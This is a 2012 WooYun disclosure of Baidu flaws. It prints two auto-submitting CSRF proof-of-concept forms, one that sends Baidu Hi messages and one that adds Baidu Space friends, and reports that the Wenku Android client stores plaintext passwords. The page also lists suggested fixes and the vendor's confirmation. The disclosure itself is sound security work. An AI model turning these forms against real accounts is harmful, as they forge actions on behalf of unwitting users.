当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2012-011800

漏洞标题：百度多处漏洞

相关厂商：百度

漏洞作者： androidhacker

提交时间：2012-09-06 10:03

修复时间：2012-10-21 10:04

公开时间：2012-10-21 10:04

漏洞类型：CSRF

危害等级：高

自评Rank：15

漏洞状态：厂商已经确认

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2012-09-06： 细节已通知厂商并且等待厂商处理中
2012-09-06： 厂商已经确认，细节仅向厂商公开
2012-09-16： 细节向核心白帽子及相关领域专家公开
2012-09-26： 细节向普通白帽子公开
2012-10-06： 细节向实习白帽子公开
2012-10-21： 细节向公众公开

简要描述：

hi、空间、文库打包赠送

详细说明：

1、百度hi的web版csrf漏洞，可以任意发消息,代码如下

<form name="HelloBaidu" method="POST" name="jingkong" action="http://web.im.baidu.com/message">
<input type="hidden" name="body" value='<msg><font n="宋体" s="10" b="0" i="0" ul="0" c="0"/><text c="Hello Aoi Sola!"/></msg>'/>            
<input type="hidden" name="to" value="发给谁"/>
<input type="hidden" name="friend" value="false"/>
</form>
<script>
document.HelloBaidu.submit();
</script>


2、百度空间加好友csrf漏洞，代码如下

form name="HelloBaidu" method="POST" name="jingkong" action="http://frd.baidu.com">                                                            
<input type="hidden" name="tn" value='bmSPFriSubmit'/>
<input type="hidden" name="cm" value="FriAdd"/>
<input type="hidden" name="word" value="加苍老师"/>
<input type="hidden" name="ct" value="29"/>
</form>
<script>
document.HelloBaidu.submit();
</script>


3、文库android客户端密码泄露(shared_prefs/wenku.xml)，难道就不能存个加密的密码或者直接存token吗，csdn教训还不够。

漏洞证明：

修复方案：

csrf token 、referer、android我不想说什么了

版权声明：转载请注明来源 androidhacker@乌云

漏洞回应

厂商回应：

危害等级：中

漏洞Rank：9

确认时间：2012-09-06 12:40

厂商回复：

感谢你对百度安全的关注，我们马上安排处理！

最新状态：

暂无